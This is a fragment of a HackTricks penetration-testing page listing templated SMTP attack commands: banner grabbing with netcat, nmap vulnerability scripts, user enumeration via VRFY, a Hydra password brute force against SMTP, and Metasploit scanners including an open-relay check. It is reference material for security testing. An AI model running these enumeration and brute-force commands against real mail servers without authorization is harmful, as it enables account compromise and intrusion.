- [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/)

## HackTricks Αυτόματες Εντολές
```
Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

```
{{#include ../../banners/hacktricks-training.md}}